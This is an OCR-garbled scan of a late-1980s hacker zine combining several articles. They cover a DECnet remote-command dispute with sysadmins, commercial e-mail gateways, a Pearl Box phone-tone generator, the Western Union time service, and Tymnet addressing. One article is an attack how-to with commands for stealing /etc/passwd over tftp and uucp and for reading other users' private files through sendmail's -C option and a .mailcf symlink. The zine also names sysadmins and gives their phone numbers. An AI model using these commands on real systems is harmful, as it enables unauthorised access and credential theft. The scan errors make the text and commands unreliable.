The HELP is equipped by the system and is similar to the MAN command on UNIX. 

More information on DECnet can be found in "Looking Around In DECnet" by Deep Thought in this very issue of Phrack Inc. 

Here, at the University of Ulm, we have an 'incredibly* ignorant computer center staff, with an even bigger lack of systen>literature (besides 
the 80kg of VAX/VMS-manuals). The active may search for information by himself, which is over the level of "run," "FORTRAN," or "logout." 
My good luck that I have other accounts in the BELWUE-DECnet, where more information is offered for the users. I am a regular student in Ulm 
and all my accounts are completely legal and corresponding to the German laws. I don't call myself a "hacker," I feel more like a "user" (...it's 
more a defining-problem). 

In the HELP-menu in a host in Tuebingen I found the file netdcl.com and the corresponding explanation, which sends commands to the DECNET- 
Account of other VAX's and executes them there (remote command). The explanation in the HELP-menu was idiot-proof - therefore for me, 
too :-) 

With the command "$ mcr nop show known nodes" you can obtain a list of all netwide active VAX's, as is generally known, and so I pinged all 
these VAX's to look for more information for a knowledge-thirsty user. With "help", "dir" and other similar commands I look around on those 
DECnet accounts, always watching for topics related to the BELWUE-network. It's a pity, that 2/3 of cll VAX's have locked the DECNET- 
Account for NETDCL.COM. Their system managers are probably afraid of unauthorized access, but I cannot imagine how there could be such 
an unauthorized access, because you cannot log on this account - no chance for trojan horses, etc. 

Some system managers called me back after I visited their VAX to chat with me about the network and asked me if they could help me in any 
way. One sysop from Stuttgart even sent me a version of NETDCL.COM for the ULTRIX operation system. 

Then, after a month, the HORROR came over me in shape of a the following mail: 



From: TUEBINGEN::SYSTEM 31-MAY-1989 15:31:11.38 

To: FRAMSTAG 

CC: 



Subj: don't make any crap, or you'll be kicked out! 



From: ITTGPX:;SYSTEM 29-MAY- 1989 16:46 

To: "mEBINGEN::SYSTEM 

Subj: Systenvbreaking-in01-May-1989 

To the system manager of the Computer TUEBINGEN, 

On May 1st 1989 we had a System-breaklng-in In our DECNET-account, which started from your machine. By help of our accounting we 
ascertained your user FRAMSTAG to have emulated an Interactive log-on on our backbone-node and on every machine of our VAX-cluster 
with the "trojan horse" NETDCL.COM. Give us this user's name and address and dear up the occurrence completely. We point out that the user 
is punishable. In case of repetition we would be forced to take corresponding measures. We will check whether our system got injured. If not, 
this time we will disregard any measure. Inform us via DECnet about your investigation results - we are attainable by the nodenumber 
1084::system 

Dipl.-lng. Michael Hager 



My system manager threatened me with the deleting of my account, if I would not immediately enlighten the affair. *Gulp*! I was conscious 
about my innocence, but how to tell it to the others? I explained, step by step, everything to my system manager. He then understood after a 
while, but the criminal procedure still hovered over me... so, I took quickly to my keyboard, to compose file of explanations and to send It to that 
angry system manager In Stuttgart (node 1084 Is an Institute there). But no way out: He had run out of disk quota and my explanation -mail 
sailed into the nirwana: 



$ mall explanation 
To: 1084::system 

%MAIL-E, error sending to user SYSTEM at 1084 
%MAIL-&OPENOUT, error opening 
SYS$SYSROOT:[SYSMGR]MAIL$00040092594FD194.MAI; 

as output 

-RMS-E-CRE, ACP file create failed 

-SYSTEM- F-EXDISKQUOTA, disk quota exceeded 



Also the attempt of a connection with the PHONE-facility failed: In his borderless hacker-paranoia, he cut off his PHONE... and nowhere is a list 
with the REAL-addresses of the virtual DECnet-addresses available (to prevent hacking). Now I stood there with the brand "DANGEROUS 
HACKER!" and I had no chance to vindicate myself. I poured out my troubles to an acquaintance of mine, who is a sysop In the computer-center 
In Freiburg. He asked other sysops and managers thru the whole BELWUE-network until someone gave him a telephone number after a few 
days - and that was the right one! 

I phoned to this Hager and told him what I had done with his DECnet-account and also what NOT. I wanted to know which crime I had 
committed. He promptly canceled all of his reproaches, but he did not excuse his defames incriminations. I entreated him to Inform my system 
manager in Tueblngen that I have done nothing Illegal and to stop him from erasing my account. This happens already to a fellow student of 
mine (in this case, Hager was also guilty). He promised me that he would officially cancel his reproaches. 

After over a week this doesn't happen (I'm allowed to use my account further on). In return for It, I received a new mall from Hager on 
another account of mine: 



From: 1084::HAGER 1-JUN- 1989 12:51 
To: 50180::STUD_11 
Subj: Systenvbreaking-in 

On June 1st 1989 you have committed a system-breaklng-ln on at least one of our VAX's. We were able to register this occurrence. We 
would be forced to take further measure If you did not dear up the occurrence completely until June 6th. 

Of course the expenses involved would be imposed on you. Hence enlightenment must be in your own interest. 

We are attainable via DECnetmail with the address 1 084::HAGER or via following 
address: 

Instltut fuer Technlsche Thermodynamlk und Thermlsche Verfahrenstechnik 
Dipl.-lng. M. Hager Tel.: 0711/685-6109 
Dipl.-lng. M. Mrzyglod Tel.: 071 1/685-3398 
Pfaffenwaldring 9/1 0-1 



7000 Stuttgart-80 

M. Hager 
M. Mrzyglod 



This was the reaction of my attempt: "$ PHONE 1084::SYSTEM". I have not answered to this mail. I AlVI SICK OF ITI 
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ACSNET 

Australian Computer Science Network (ACSNET), also known as Oz, has its gateway through the CSNET node munnari.oz.au and if you 
cannot directly mail to the oz.au domain, try either username%munnari.oz.au@UUNET.UU.NET or munnari! username@UUNET.UU.NET. 

AT&TMAIL 

AT&T Mail is a mailing service of AT&T, probably what you might call it's MCl-Mail equivalent. It is available on the UUCP network as node name 

attmail but I've had problems having mail get through. Apparently, it does cost money to mail to this sen/ice and the surrounding nodes are not 
willing to pick up the tab for the ingoing mail, or at least, this has seemingly been the case thus far. I believe, though, that perhaps routing to 
attlattmailluser would work. 



AT&T recently announced six new X.400 interconnections between AT&T IVIail and electronic mail sen/ices in the US, Korea, Sweden, 
Australia, and Finland. In the US, AT&T IVIail is now interconnected with Telenet Communications Corporation's service, Telemail, allowing users 
of both services to exchange messages easily. With the addition of these interconnections, the AT&T Mail Gateway 400 Service allows AT&T 
Mail subscribers to exchange messages with users of the following electronic messaging systems: 



Company 


E-Mail Name 


Country 


TeleDelta 


TeDe 400 


Sweden 


OTC 


MPS400 


Australia 


TelecomCanada 


EnvoylOO 


Canada 


DACOM 


DACOM MHS 


Korea 


P&TTele 


MailNet 400 


Finland 


Helsinki Telephone Co. 


EUSA 


Finland 


Dialcom 


Dialcom 


USA 


Telenet 


Telemail 


USA 


KDD 


Messavia 


Japan 


Transpac 


ATLAS400 


France 



The interconnections are based on the X.400 standard, a set of guidelines for the format, delivery and receipt of electronic messages 
recommended by an international standards committee the CCITT. International X.400 messages incur a surcharge. They are: 



To Canada: 

Per note: $.05 
Per message unit: $.10 



To other international locations: 

Per note: $.20 
Per message unit: $«0 



There is no surcharge for X.400 messages within the US The following are contacts to speak with about mailing through these mentioned 
networks. Other questions can be directed through AT&T Mail's toll-free number, 1-800-624-5672. 



MHS Gateway: mhslatlas MHS Gateway: mhsldacom 

Administrator: Bernard Tardieu Administrator: Bob Nicholson 
Transpac AT&T 
Phone: 3399283203 Morristown, NJ 07960 

Phone: +1 201 644 1838 



MHS Gateway: mhsldialcom 
Administrator: Mr. Laraman 
Karajalainen 

Dialcom 

South Plainfield, NJ 07080 
Phone: +1 441 493 3843 



MHS Gateway: mhslelisa 
Administrator: Ulla 



Nokia Data 

Phone: 01135804371 



MHS Gateway: mhslenvoy 
Administrator; Kin C. Ma 
Telecom Canada 
Phone: +1 613 567 7584 



MHS Gateway: mhslkdd 
Administrator: Shigeo Lwase 
Kokusai Denshin Denwa CO. 
Phone: 8133477419 



MHS Gateway: mhslmailnet 
Administrator: Kari Aakala 
Krumbine 

Gen Directorate Of Post & 
Phone: 35806921730 

Phone: 



MHS Gateway: mhslotc 
Administrator: Gary W. 

AT&T Information Systems 
Lincroft, NJ 07738 
+1 201 576 2658 



MHS Gateway: mhsltelemail 
Administrator: Jim Kelsay 
GTE Telenet Corrm Corp 
Reston, VA 22096 
Phone: +1 703 689 6034 



MHS Gateway: mhs 
Administrator: AT&T Mail MHS 
Gateway 

AT&T 

Lincroft, NJ 08838 
Phone: +1 800 624 5672 



CMR 

Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a mail relay service between the Internet and three commercial 
electronic mail systems: US Sprint/Telenet, MCl-Mail, and DIALCOM systems (i.e. Compmail, NSFMAIL, and USDA-MAIL). 

An important note: The only requirement for using this mail gateway is that the work conducted must be DARPA sponsored research and other 
approved government business. Basically, this means that unless you've got some government-related business, you're not supposed to be 
using this gateway. Regardless, it would be very difficult for them to screen everything that goes through their gateway. Before I understood 
the requirements of this gateway, I was sending to a user of MCl-Mail and was not contacted about any problems with that communication. 
Unfortunately, I mistyped the MCl-Mail address on one of the letters and that letter ended up getting read by system administrators who then 
informed me that I was not to be using that system, as well as the fact that they would like to bill me for using it. That was an interesting 
thought on their part anyway, but do note that using this service does incur charges. 



The CMR mailbox address in each system corresponds to the label: 



Telemail: [lntermail/USCISI]TELEMAIL7USA 
MCl-Mail: Intermail or 107-8239 
CompMail: Intermail or CMP0817 
NSFMail: Intermail or NSF153 
USDA-Mail: Intermail or AGS9999 



Addressing examples for each e-mail system are as follows: 
MCIMAIL: 

123-4567 seven digit address 

Everett T. Bowens person's name (must be unique!) 



COMPMAIL 

CMP01 23 three letters followed by three or four digits 

S.Cooper initial, then "." and then last name 
1 34:CMP01 23 domain, then ":" and then combination system and 
account number 



NSFMAIL: 

NSF01 23 three letters followed by three or four digits 

A.Phillips initial, then "." and then last name 
1 57:NSF01 23 domain, then ":" and then combination system and 
account number 



USDAMAIL: 

AGS01 23 three letters followed by three or four digits 

P.Shifter initial, then "." and then last name 
1 57:AGS01 23 domain, then ":" and then combination system and 
account number 



TELEMAIL: 



BARNOC user (directly on Telemail) 

BARNOC/LODH user/organization (directly on Telemail) 
[BARN0C/L0DHJTELEMAIL7USA 

[user/organization]systeni branch/country 

The following are other Telenet system branches/countries that can be mailed to: 

TELEMAIL7USA NASAMAIL7USA MAILVUSA TELEMEMO/AUSTRALIA 
TELECOM/CANADA T0MMAIL7CHILE TMAILUK/GB ITALMAIUITA LY 
ATI/JAPAN PIPMAIUROC DGC/USA FAAMAILVUSA 
GSFC/USA GTEMAIL7USA TM11/USA TNETTELEMAIL7USA 
USDA/USA 

Note: OMNETs ScienceNet is on the Telenet system MAILVUSA and to mail to it, the format would be [A.MAILB0X/0MNET|MAIL7USA. The 

following are available subdivisions of OMNET: 

AIR Atmospheric Sciences 

EARTH Solid Earth Sciences 

LIFE Life Sciences 

OCEAN Ocean Sciences 

POLAR Interdisciplinary Polar Studies 

SPACE Space Science and Remote Sensing 



The following is a list of DIALGOM systems available in the listed countries with their domain and system numbers: 



Service Name 


Country 


Domain Number 


System Number 


Keylink-Dialcom 


Australia 


60 


07, 08, 09 


Dialcom 


Canada 


20 


20, 21,22, 23,24 


DPT Databooks 


Denmark 


124 


71 


Telebox 


Finland 


127 


62 


Telebox 


West Germany 


30 


15,16 


Dialcom 


Hong Kong 


80 


88,89 


Eirmail 


Ireland 


100 


74 


Goldnet 


Israel 


50 


05,06 


Maslermail 


Italy 


130 


65,67 


Mastemiail 


Italy 


1 


66,68 


□alcom 


Japan 


70 


13,14 


Dialcom 


Korea 


1 


52 


Telecom Gold 


Malta 


100 


75 


Dialcom 


Mexico 


1 


52 


Memocom 


Netherlands 


124 


27, 28, 29 


Memocom 


Netherlands 


1 


55 


Starnet 


New Zealand 


64 


01,02 


Dialcom 


Puerto Rico 


58 


25 


Telebox 


Singapore 


88 


10, 11, 12 


Dialcom 


Taiwan 


1 


52 


Telecom Gold 


United Kingdom 


100 


01,04, 17,80-89 


DIALCOM 


USA 


1 


29-34, 37, 38, 41 -59, 61-63, 90-99 



NOTE: 

You can also mail to username@NASAMAIL.NASA.GOV or username@GSFCMAIL.NASA.GOV instead of going through the CMR gateway to 
mail to NASAMAIL or GSFCMAL. 

For more information and instructions on how to use CMR, send a message to the user support group at intermail-request@intermail.isi.edu 
(you'll get basically what I've listed plus maybe a bit more). Please read Chapter 3 of The Future Transcendent Saga (Limbo to Infinity) for 
specifics on mailing to these destination mailing systems. 

COMPUSERVE 

CompuServe is well known for its games and conferences. It does, though, have mailing capability. Now, they have developed their own 
Internet domain, called C0MPUSERVE.COM. It is relatively new and mail can be routed ttirough either TUT.CIS.OHIO-STATE.EDU or 
NORTHWESTERN.ARPA 

Example: uset%C0MPUSERVE.COM@TUTCIS.OHIO-STATE.EDU or replace TUTCIS.OHIO-STATE.EDU with NORTHWESTERN.ARPA). 



The CompuServe link appears to be a polled UUCP connection at the gateway machine. It is actually managed via a set of shell scripts and a 
comm utility called xcomm, which operates via command scripts built on the fly by the shell scripts during analysis of what jobs exist to go into 
and out of CompuServe. 



CompuServe subscriber accounts of the form 7xxxx, yyyy can be addressed as 7xxxx.yyyy@compusen/e.com. CompuServe employees can 
be addressed by their usernames in the csi.compuserve.com subdomain. CIS subscribers write mail to ">inet:user@host.domain" to mail to 
users on the Wide-Area Networks, where ">gateway:" is CompuServe's internal gateway access syntax. The gateway generates fully -RFG 

compliant headers. 

To fully extrapolate -- from the CompuServe side, you would use their EasyPlex mail system to send mail to someone in BITNET or the Internet. 
For example, to send me mail at my Bitnet ID, you would address it to: 



INET:C488869%UMCVMB.BITMET@CUNYVM.CUNY.EDU 



Or to my Internet ID: 



INET:C488869@UMCVMB.MISSOURI.EDU 



Now, if you have a BITNET to Internet userid, this is a silly thing to do, since your connect time to CompuServe costs you money. However, you 
can use this information to let people on CompuServe contact YOU. CompuServe Customer Service says that there is no charge to either 
receive or send a message to the Internet or BITNET. 

DASNET 

DASnet is a smaller network that connects to the Wide- Area Networks but charges for their service. DASnet subscribers get charged for both 
mail to users on other networks AND mail for them from users of other networks. The following is a brief description of DASnet, some of 
which was taken from their promotional text letter. 

DASnet allows you to exchange electronic mail with people on more than 20 systems and networks that are interconnected with DASnet. One 
of the drawbacks, though, is that, after being subscribed to these services, you must then subscribe to DASnet, which is a separate cost. 
Members of Wide-Area networks can subscribe to DASnet too. Some of the networks and systems reachable through DASnet include the 

following: 



ABA/net, ATT Mail, BIX (Byte Information exchange), DASnet Network, Dialcom, EIES, EasyLink, Envoy 100, FAX, GeoMail, INET, MCI Mail, NWI, 
PeaceNet/EcoNet, Portal Communications, The Meta Networtc, The Source, Telemail, ATI's Telemail (Japan), Telex, TWICS (Japan), UNISON, 
UUCP, The WELL, and Domains (i.e. ".COM" and ".EDU" etc.). New systems are added all of the time. As of the writing of this file. Connect, 
GoverNET, MacNET, and The American Institute of Physics PI-MAIL are soon to be connected. 



You can get various accounts on DASnet including: 



• Corporate Accounts - If your organization wants more than one individual subscription. 

• Site Subscriptions - If you want DASnet to link direc tly to your organization's electronic mail system. 

To send e-mail through DASnet, you send the message to the DASnet account on your home system. You receive e-mail at your mailbox, as 
you do now. On the Wide-Area Networks, you send mail to XB.DAS@STANFORD. BITNET. On the Subject: line, you type the DASnet address in 
brackets and then the username just outside of them. The real subject can be expressed after the username separated by a "I" (Example: 
Subject: [0756TK]randy!How's Phrack?). 

The only disadvantage of using DASnet as opposed to Wide-Area networks is the cost. Subscription costs as of 3/3/89 cost $4.75 per month 
or $5.75 per month for hosts that are outside of the USA 

You are also charged for each message that you send. If you are corresponding with someone who is not a DASnet subscriber, THEIR MAIL 

TO YOU is billed to your account. 



The following is an abbreviated cost list for mailing to the different services of DASnet: 



PARTIAL List DASnet Cost DASnet Cost 

of Services 1 st 1 000 Each Additional 1 000 

Linked by DASnet (e-mail) Characters Characters: 

INET, MacNET, PeaceNet, NOTE: 20 lines 

Unison, UUCP*, Domains, .21 .11 oftextisapp. 
e.g. .COM, .EDU* 1000 characters. 



Dialconr-Any "host" in US .36 .25 



Dialcom-Hosts outside US 



.93 .83 



EasyLink (From EasyLink) .21 .11 
(To EasyLink) «5 .23 

US FAX (international avail.) .79 .37 

Geol\/lail--Any "host" in US .21 .1 1 
GeoMail- Hosts outside US .74 .63 

MCI (from MCI) .21 .11 

(to MCI) .78 .25 

(Paper mail - USA) 2.31 .21 

Telemail .36 .25 

W.U. Telex--United States 1 .79 1 .63 
(You can also send Telexes outside the US) 

TWICS-Japan .89 .47 

* The charges given here are to the gateway to the network. The DASnet user is not charged for transmission on the network itself. 

Subscribers to DASnet get a free DASnet Network Directory as well as a listing in the directory, and the ability to order optional DASnet 
services like auto-porting or DASnet Telex Service which gives you your own Telex number and answerback for $8.40 a month at this time. 

DASnet is a registered trademark of DA Systems, Inc. 

DA Systems, Inc. 
1503 E. Campbell Ave. 
Campbell, CA 95008 

408-559-7434 
TELEX: 910 380-3530 

The following two sections on PeaceNet and AppleLink are in association with DASnet as this network is what is used to connect. 
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Introduction: 

After reading the earlier renditions of schematics for the Pearl Box, I decided that there was an easier and cheaper way of doing the same 
thing with an IC and parts you probably have just laying around the house. 

What Is A Pearl Box and Why Do I Want One ? 

A Pearl Box is a tone generating device that is used to make a wide range of single tones. Therefore, it would be very easy to modify this 
basic design to make a Blue Box by making 2 Pearl Boxes and joining them together in some fashion. 

A Pearl Box can be used to create any tone you wish that other boxes may not. It also has a tone sweep option that can be used for 
numerous things like detecting different types of phone tapping devices. 



Parts List: 

• CD4049 RCA integrated circuit 

• .1 uF disk capacitor 

• 1 uF 1 6V electrolitic capacitor 

• 1 K resistor 

• 1 CM resistor 

• 1 Meg pot 

• 1N914diode 

• Some SPST momentary push-button switches 

• 1 SPDT toggle switch 

• 9 Volt battery & clip and miscellaneous stuff you should have laying around the house. 



State-of-the-Art-Text Schematic: 
+ 16V 1uF 



I ! ! II I 

I I ||/|8ohms 

l_l I I I I 

191011 12131415161 I I Ul 
I CD4049UBE | | | 
l_1_2_3_4_5_6_7_8_| : | 

U U I I I [-] 

! ! : [b] 



: : I [t] 
! 1N914 ! ! 



[a] 

[+] 



I I I 
I 10M I I 
I AAA I I 



I <-- These 2 wires to the center pole 
of switch. 



.1uF 50V I I 

I I 

I L 



roggle Switch]_ 



I I I 00 I 

I I |AAA_|U 

I AAA AMI I " I 
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I I I 00 I 

|AAA_||_| 
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There are many ways of getting copies of files from a remote system that you do not have permission to read or an account on login on to and 
access them through. Many administrators do not even bother to restrict many access points that you can use. 

Here are the simplest ways: 

1 .Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy of a file if you are running on an Internet based network. 

2.Abuse uucp(1 ) [Unix to Unix Copy Program] to retrieve a copy of a file if uucp connections are running on that system. 
S.Access one of many known security loopholes. 



In the following examples, we will use the passwd file as the file to acquire since it is a readable file that can be found on most systems that 
these attacks are valid on. 

Method A : 

1 .First start the tftp program: 
Enter the command: 



tftp 

[You have the following prompt:] 
tftp> 



2.The next step is to connect to the system that you wish to retrieve files from. At the tftp, type: 



tftp> connect other.system.com 



3. Now request the file you wish to get a copy of (in our case, the passwd file /etc/passwd ): 

tftp> get /etc/passwd /tmp/passwd 
[You should see something that looks like the following:] 
Received 1 85659 bytes in 22 seconds. 

4. N0W exit the tftp program with the "quit" command: 

tftp> quit 

You should now have a copy of other.system.com's passwd file in your directory. 

NOTE: Some Unix systems' tftp programs have a different syntax. The above was tested under SunOS 4.0 

For example, on Apollos, the syntax is: 

tftp -{g|gi|p|r|w} <local file> <host> <foreign file> [netasciipmage] 
Thus you must use the command: 

tftp -g password_file networked-host /etc/passwd 
Consult your local "man" pages for more info (or in other words RTFM). 

At the end of this article, I will include a shell script that will snarf a password file from a remote host. To use it type: 

gpw system_name 
Method B : 

Assuming we are getting the file /etc/passwd from the system uusucker, and our system has a direct uucp connection to that system, it is 
possible to request a copy of the file through the uucp links. The following command will request that a copy of the passwd file be copied into 
UUCP's home directory /usr/spool/uucppublic : 

uucp -m uusuckerl/etc/passwd '>uucp/uusuckerjDasswd' 

The flag "-m" means you will be notified by mail when the transfer is completed. 

Method C: 

The third possible way to access the desired file requires that you have the login permission to the system. 
In this case we will utilize a well-known bug in Unix's sendmail daemon. 

The sendmail program has and option "-C" in which you can specify the configuration file to use (by default this file is /usr/lib/sendmail.cf or 
/etc/sendmail.cf). It should also be noted that the diagnostics outputted by sendmail contain the offending lines of text. Also note that the 
sendmail program runs setuid root. 

The way you can abuse this set of facts (if you have not yet guessed) is by specifying the file you wish read as the configuration file. Thus 
the command: 

sendmail -C/usr/accounts/randomJoe/private/file 

Will give you a copy of random joe's private file. 

Another similar trick is to symlink your .mailcf file to joe's file and mail someone. When mail executes sendmail (to send the mail), it will load in 
your mailcf and barf out joe's stuff. 

First, link joe's file to your .mailcf . 



In -s /usr/accounts/randomjoe/private/file $HOME/.mailcf 
Next, send mail to someone. 

mail C488869@umcvmb.missouri.edu 
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"Until a few years ago - maybe ten - it was very common to 
see TWX and Telex machines in almost every business place." 

There were only minor differences between Telex and TWX. The biggest difference was that the former was always run by Western Union, 
while the latter was run by the Bell System for a number of years. TWX literally meant "(T)ype(W)nter e(x)change," and it was Bell's answer 
to competition from Western Union. There were "three row" and "four row" machines, meaning the number of keys on the keyboard and how 
they were laid out. The "three row" machines were simply part of the regular phone network; that is, they could dial out and talk to another 
TWX also connected on regular phone lines. 

Eventually these were phased out in favor of "newer and more improved" machines with additional keys, as well as a paper tape reader 
attachment which allowed sending the same message repeatedly to many different machines. These "four row"machines were not on the 

regular phone network, but were assigned their own area codes (410-510-610-710-810-910) where they still remain today. The only way a 
four row machine could call a three row machine or vice-versa was through a gateway of sorts which translated some of the character set 
unique to each machine. 

Western Union's network was called Telex and in addition to being able to contact (by dial up) other similar machines, Telex could connect with 
TWX (and viceversa) as well as all the Western Union public offices around the country. Until the late 1950's or early 1960's, every small 
town in America had a Western Union office. Big cities like Chicago had perhaps a dozen of them, and they used messengers to hand deliver 
telegrams around town. Telegrams could be placed in person at any public office, or could be called in to the nearest public office. 

By arrangement with most telcos, the Western Union office in town nearly always had the phone number 4321 , later supplemented in 
automated exchanges with some prefix XXX-4321. Telegrams could be charged to your home phone bill (this is still the case in some 
communities) and from a coin phone, one did not ask for 4321, but rather, called the operator and asked for Western Union. This was 
necessary since once the telegram had been given verbally to the wire clerk, s/he in turn had to flash the hook and get your operator back on 
the line to tell them "collect five dollars and twenty cents" or whatever the cost was. Telegrams, like phone calls, could be sent collect or billed 
third party. If you had an account with Western Union, i.e. a Telex machine in your office, you could charge the calls there, but most likely you 
would simply send the telegram from there in the first place. 

Sometime in the early 1 960's, Western Union filed suit against AT&T asking that they turn over their TWX business to them. They cited an earlier 
court ruling, circa 1950's, which said AT&T was prohibited from acquiring any more telephone operating companies except under certain 
conditions. The Supreme Court agreed with Western Union that "spoken messages" were the domain of Ma Bell, but "written messages" were 
the domain of Western Union. So Bell was required to divest itself of the TWX network, and Western Union has operated it since, although a 
few years ago they began phasing out the phrase "TWX" in favor of "Telex 11"; their original device being "Telex 1" of course. TWX still uses ten 
digit dialing with 610 (Canada) or 710/910 (USA) being the leading three digits. Apparently 410-510 have been abandoned; or at least they are 
used very little, and Bellcore has assigned 510 to the San Francisco area starting in a year or so. 410 still has some funny things on it, like the 
Western Union "Infomaster," which is a computer that functions like a gateway between Telex, TWX, EasyLink and some other stuff. 

Today, the Western Union network is but a skeleton of its former self. Now most of their messages are handled on dial up terminals connected 
to the public phone network. It has been estimated the TWX/Telex business is about fifty percent of what it was a decade ago, if that much. 

Then there was the Time Service, a neat thing which Western Union offered for over seventy years, until it was discontinued in the middle 
1960's. The Time Service provided an important function in the days before alternating current was commonly available. For example, Chicago 
didn't have AC electricity until about 1 945. Prior to that we used DC, or direct current. 

Well, to run an electric clock, you need 60 cycles AC current for obvious reasons, so prior to the conversion from DC power to AC power, 
electric wall clocks such as you see in every office were unheard of. How were people to tell the time of day accurately? Enter the Western 
Union clock. 

The Western Union, or "telegraph clock" was a spring driven wind up clock, but with a difference. The clocks were "perpetually self-winding," 
manufactured by the Self-Winding Clock Company of New York City. They had large batteries inside them, known as "telephone cells" which 

had a life of about ten years each. A mechanical contrivance in the clock would rotate as the clock spring unwound, and once each hour 
would cause two metal clips to contact for about ten seconds, which would pass juice to the little motor in the clock which in turn re-wound 
the main spring. The principle was the same as the battery operated clocks we see today. The battery does not actually run the clock- direct 
current can't do that - but it does power the tiny motor which re-winds the spring which actually drives the clock. 



The Western Union clocks came in various sizes and shapes, ranging from the smallest dials which were nine inches in diameter to the largest 
which were about eighteen inches in diameter. Some had sweep second hands; others did not. Some had a little red light bulb on the front 
which would flash. The typical model was about sixteen inches, and was found in offices, schools, transportation depots, radio station 
offices, and of course in the telegraph office itself. 

Tfie one thing all the clocl<s had in common was their brown metal case and cream-colored face, with the insignia "Western Union" and their 
corporate logo in those days which was a bolt of electricity, sort of like a letter "Z" laying on its side. And in somewhat smaller print below, the 
words "Naval Observatory Time." 

The local clocks in an office or school or wherever were calibrated by a "master clock" (actually a sub-master) on the premises. Once an hour 
on the hour, the (sub) master clock would drop a metal contact for just a half second, and send about nine volts DC up the line to all the local 
clocks. They in turn had a "tolerance" of about two minutes on both sides of the hour so that the current coming to them would yank the minute 
hand exactly upright onto the twelve from either direction if the clock was fast or slow. 

The sub-master clocks in each building were in turn serviced by the master clock in town; usually this was the one in the telegraph office. 
Every hour on the half hour, the master clock in the telegraph office would throw current to the sub-masters, yanking them into synch as 
required. And as for the telegraph offices themselves, they were serviced twice a day by - you guessed it - the Naval Observatory Master 
clock in Our Nation's Capitol, by the same routine. 

Someone there would press half a dozen buttons at the same time, using all available fingers; current would flow to every telegraph office and 
synch all the master clocks in every community. Western Union charged fifty cents per month for the service, and tossed the clock in for free! 
Oh yes, there was an installation charge of about two dollars when you first had service (i.e. a clock) installed. 

The clocks were installed and maintained by the "clockman," a technician from Western Union who spent his day going around hanging new 
clocks, taking them out of service, changing batteries every few years for each clock, etc. 

What a panic it was for them when "war time" (what we now call Daylight Savings Time) came around each year! Wally, the guy who 
serviced all the clocks in downtown Chicago had to start on 'Thursday* before the Sunday official changeover just to finish them all by 
'Tuesday* following. He would literally rush in an office, use his screwdriver to open the case, twirl the hour hand around one hour forward in 

the spring, (or eleven hours 'forward* in the fall since the hands could not be moved backward beyond the twelve going counterclockwise), 
slam the case back on, screw it in, and move down the hall to the next clock and repeat the process. He could finish several dozen clocks per 
day, and usually the office assigned him a helper twice a year for these events. 

He said they never bothered to line the minute hand up just right, because it would have taken too long, and " anyway, as long as we got it 

within a minute or so, it would synch itself the next time the master clock sent a signal..." Working fast, it took a minute to a minute and a half to 
open the case, twirl the minute hand, put the case back on, "stop and BS with the receptionist for a couple seconds" and move along. 

The master clock sent its signal over regular telco phone lines. Usually it would terminate in the main office of whatever place it was, and the 
(sub) master there would take over at that point. 

Wally said it was very important to do a professional job of hanging the clock to begin with. It had to be level, and the pendulum had to be just 
right, othenwise the clock would gain or lose more time than could be accommodated in the hourly syncMng process. He said it was a very 
rare clock that actually was out by even a minute once an hour, let alone the two minutes of tolerance built into the gear works. 

"...Sometimes 1 would come to work on Monday morning, and find out in the office that the clock line had gone open Friday evening. So nobody 
all weekend got a signal. Usually I would go down a manhole and find it open someplace where one of the Bell guys messed it up, or took it off 
and never put it back on. To find out where it was open, sonBone in the office would 'ring out' the line; I'd go around downtown following the 
loop as we had it laid out, and keep listening on my headset for it. When I found the break or the open, I would tie it down again and the office 
would release the line; but then I had to go to all the clocks 'before* that point and restart them, since the constant current from the office 
during the search had usually caused them to stop." 

But he said, time and again, the clocks were usually so well mounted and hung that "...it was rare we would find one so far out of synch that 
we had to adjust it manually. Usually the first signal to make it through once I repaired the circuit would yank everyone in town to make up for 

whatever they lost or gained over the weekend..." 

In 1965, Western Union decided to discontinue the Time Service. In a nostalgic letter to subscribers, they announced their decision to suspend 
operations at the end of the current month, but said "for old time's sake" anyone who had a clock was welcome to keep it and continue using it; 
there just would not be any setting signals from the master clocks any longer. 

Within a day or two of the official announcement, every Western Union clock in the Chicago area headquarters building was gone. The 
executives snatched them off the wall, and took them home for the day when they would have historical value. All the clocks in the telegraph 
offices disappeared about the same time, to be replaced with standard office-style electric wall clocks. 
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by Synthecide 



There are literally hundreds of systems connected to some of these larger networks, like Tymnet and Telenet. Navigation around these 
networks is very simple, and usually well explained in their on-line documentation. Furthermore, some systems will actually tell you what is 
connected and how to get to it. In the case of Tymnet, after dialing in, at the log in prompt, type "information" for the on-line documentation. 

Accessing systems through networks is as simple as providing an address for it to connect to. The best way to learn about the addresses 
and how to do things on a network is to read "A Novice's Guide to Hacking (1989 Edition)" which was in Issue 22, File 4 of 12, Volume Two 

(December 23, 1988). Some points are reiterated here. 

Once on a network, you provide the NUA (network user address) of the system you wish to connect to. NUAs are strings of 1 5 digits, broken 
up in to 3 fields, the NETWORK ADDRESS, ttie AREA PREFIX, and ttie DNIC. Each field has 5 digits, and are left padded with O's where 
necessary. 

The DNIC determines which network to take the address from. Tymnet, for example, is 031 06. 031 1 0 is Telenet. 

The AREA PREFIX and NETWORK ADDRESS determine the connection point. By providing the address of the system that you wish to connect 
to, you will be accessing it through the net... as if you were calling it directly. Obviously, then, this provides one more level of security for 
access. By connecting to an outdial, you can increase again the level of security you enjoy, by using the outdial in that area to connect to the 
remote system. 

Addendum - Accessing Tymnet Over Local Packet Networks 

This is just another way to get that extra step and/or bypass other routes. This table is copied from Tymnet's on-line information. As said 
earlier, it's a great resource, this on-line information! 



BELL ATLANTIC 



NODE. 

03526 
03526 
03526 
03526 
03526 
06254 
06254 
06254 
06254 
06254 
06254 
06254 
06254 
06254 
06254 
06254 
06254 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 
07771 



CITY 

DOVER 

GEORGETOWN 

NEWARK 

WILMINGTON 

WILMINGTON 

WASHINGTON 

WASHINGTON(MIDTOWN) 

WASHINGTON(DOWNrTOWN) 

WASHINGTON(IVIIDTOWN) 

WASHINGTON 

WASHINGTON 

BETHESDA 

COLESVILLE 

HYATTSVILLE 

LAUREL 

ROCKVILLE 

SILVER SPRING 

BERNARDSVILLE 

CLINTON 

DOVER 

EATONTTOWN/RED BANK 

ELIZABETH 

ENGLEWOOD 

FREEHOLD 

HACKENSACK 

JERSEY CITY 

LIVINGSTON 

LONG BRANCH/RED BANK 

MADISON 

METUCHEN 

MIDDLETOWN 

